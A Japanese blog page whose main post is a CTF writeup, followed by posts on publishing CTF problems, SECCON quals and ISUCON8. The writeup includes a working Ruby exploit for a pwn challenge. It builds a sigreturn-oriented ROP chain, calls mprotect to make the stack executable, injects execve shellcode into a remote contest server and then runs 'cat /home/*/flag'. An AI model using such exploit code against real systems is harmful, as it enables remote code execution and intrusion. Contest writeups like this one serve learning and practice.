cookies.txt      .scr

ただのテキストファイルのようだ

駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)

この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。



一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp

Repeat64

2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。

rubyで書くとこんな感じです。

require 'base64'
s = `cat output_repeat64.txt`
cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_]
def e(x); Base64.encode64 x; end
def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end
100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}
RSA modoki

想定解とも、moratorium解法とも違うやり方をしました。

z = e^e \mod M, w = n^e \mod Mと定義します。
これらは今回渡される情報に含まれていて、既知です。

これは定義より、あるk,l \in \mathbb Zがあって、e^e - z = kM, n^e - w = lMが成立します。

よって、M = \gcd(kM, lM) = \gcd(e^e-z, n^e - w)が成立することが十分期待できるのですが、n^eが巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐに \gcd(kM, lM) = \gcd(kM, lM \mod kM)が成立することがわかります。
kM \simeq  e^eは比較的小さいため、これは現実的に計算ができます。
 M = \gcd(kM, lM) = \gcd(kM, (n^e - w) \mod kM) = \gcd(kM, \pow(n, e, kM) - w)です。

e = 65537
n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373           

z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467
w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003
kM = e^e - z
lM = lift((Mod(n, kM)^e) - w)

print(gcd(kM, lM))
rop4/rop1

競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。

最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。

SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。

#encoding: BINARY
require 'socket'

#s = TCPSocket.new('localhost', 4567)
s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000)

stack = [
  0x400120, # read 15 byte
            # syscall (sigreturn)

  *[0]*5,   #
  *[0]*8,   # r8-r15
  0x800000, # rdi  addr
  0x100,    # rsi  len
  0x400120, # rbp <= new rsp
  0x40013c, # rbx
  0x7,      # rdx  prot
  0xa,      # rax  mprotect
  0x0,      # rcx
  0x800000 + 8*16, # rsp
  0x40013c, # rip
  0x0,      # eflags
  0x33,     # csgsfs
  *[0]*4,   #
  0,        # &fpstate
].pack("Q*")
puts stack.size

s.write stack.ljust(0x100, ?0)

s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15]
s.flush
sleep 1

# http://shell-storm.org/shellcode/files/shellcode-806.php
sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# add rsp, 0x100
sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh
s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0)

s.puts 'ls -l'
s.puts 'cat /home/*/flag'
s.puts 'exit'

while l = s.gets
  puts l
end
宣伝

駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp



明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。

駒場祭企画 TSG LIVE! 2 CTF DAY1の問題

※この記事は TSG Advent Calendar 2018 2日目のエントリです。
昨日は(?)博多市さんの知的ゲーム「たほいや」のすすめでした。
adventar.org

先月の23-25、駒場祭がありました。サークルTSGは五月祭に引き続いてライブ放送をインターネットに投げつけました。
ライブの細かい話は同アドベントカレンダーで15日に博多市さんがまとめてくれるんだと思います。

僕は1日目CTFの出題・放送と、3日目CTFのプレイヤーをしました。
僕が出題した分はまだ遊べます→TSG Live CTF Day1
今日問題の中身を公開した後、1週間後、来週の日曜日24:00以降の適当なタイミングで閉じようかと思います。

登録していただいたチームは、放送時に内部プレイヤーとして参加したチームを除き、現在のところ20チーム。そのうち4チームが得点をしてくれました。
CTFdをadmin権限で眺めると、41 IP addressからアクセスがあったそうです。
参加していただいたチームおよび放送を眺めてくださった方々はありがとうございました。

5問作りましたが、1問はまだだれも解いてくれていません。
TSGの1チームがそれを除く4問を解いてくれました。
が、あとは2問しか解いてくれてない...悲しい。
[追記] moratoriumさんがcruel dd解いてくれました!!!やった!!!


そんなところですが、問題の中身を公開しようと思います。
これくらいのちまっとしたCTFを開催するときに参考にできるようならしてください。
github.com

アドベントカレンダー、明日は早速、taiyoslimeさんの「駒場祭CTF day1 Writeup」の予定です。彼はさっき書いた4問解いてくれたチームです。


以下は記念です。
f:id:cookie-s:20181202023157p:plain

SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part)

TSGで出ました。2位です!わいわい!
本戦は僕は出れません。

チームのひとびとの記事

hakatashi.hatenadiary.com
moraprogramming.hateblo.jp
qiita.com



自分がflag submitした問題は、タイトルの5つのようです。
うち、shooterは最後の段階しかやっていません。

続きを読む

ISUCON8予選で全体2位をした

moratorium08akouryy と 僕 kcz の3人でISUCON 8の予選に出場しました。
FetchDecodeExecWriteってチーム名です。3人ともチーム名とか決めるの苦手なので、かなり雑に決まりました。
結果、全体で2位がとれました。わいわい。
isucon.net

練習

練習は、一昨日やりました。ISUCON 7 Qualsをやりました。去年僕は出たはずなんですがすべて忘れていました。

当日

言語は、事前から実質golang一択でした。3人とも経験は無ではないです。


始まってバックアップを適当にとったり、ローカルに同期したりしたあと、HTTPサーバがh2oであることを見つけました。
nginxのつもりで臨んでいたので、まあ悩んだんですが、moratoriumくんの割と軽く強いinsistにより、nginxへの置換を決めました。終わってみれば英断だった気がします。
httpリクエストを直接受けられるのは1stインスタンスだけっぽいので、これでnginxを動かして、加えて1st, 2ndでapp、3rdでmariadbを動かしました。
一応3rdでもappは動いていますが、来るリクエストはinitializeだけです。


某所でやったので、ディスプレイが潤沢に得られて、外部ディスプレイの方でdstatとかtop、mysql slow query log、nginx access logとかをずっと流してました。
競技中はdstatは3rd=dbインスタンスだけidleが0になり、mysql slow query logがやばい感じになっているのがほぼほぼ常だったので、クエリ改善してました。
加えて、ベンチのエラー(減点/fatal)もたびたび出てくるので、journalctlでapp logを眺めて、golang特有のどこで発生したかよくわからなくなったエラーを直したりしました。


akouryyくんがNを1にするやつたくさんやってました。Nを1にすることを2回繰り返すことでN^2が1になったりもするっぽいです。
moratoriumくんが、初期実装でtransaction&retryすべきっぽいのにしてないところを直したりしてました。500が減ったり、期待とstatusが違うことに起因する減点が減ったりしてたっぽいです。*1
ほかにもいろいろやってました。いろいろやってました。


最終的には、sql queryがまあまあ改善された結果、1st, 2ndインスタンスでCPU idleが60、3rdインスタンスでCPU idleが20くらいをウロウロしていた気がします。



僕の超大事な役目は、だれかがgit push origin masterしたあとに、

for i in `seq 1 3`; do ssh isu$i -- 'bash -c "source ~/.bash_profile; source ~/torb/webapp/go/waiwai.sh"'&; done

を実行して、終わったら掛け声をかけることです。
waiwai.shは以下です。

cd /home/isucon/torb/webapp/go
git pull origin master
make
sudo systemctl restart torb.go

そうするとmoratoriumくんがbenchmark enqueueボタンを押してくれます。
そしてdstatを眺め、終了の様子が見られたらベンチマークの結果を眺めます。これがルーチンでした。思い出したようにlogの削除も行いました。

意気込み

Finalがんばるぞい

*1:moransactionとmoratoransaction、どっちのほうがおもしろいとおもいますか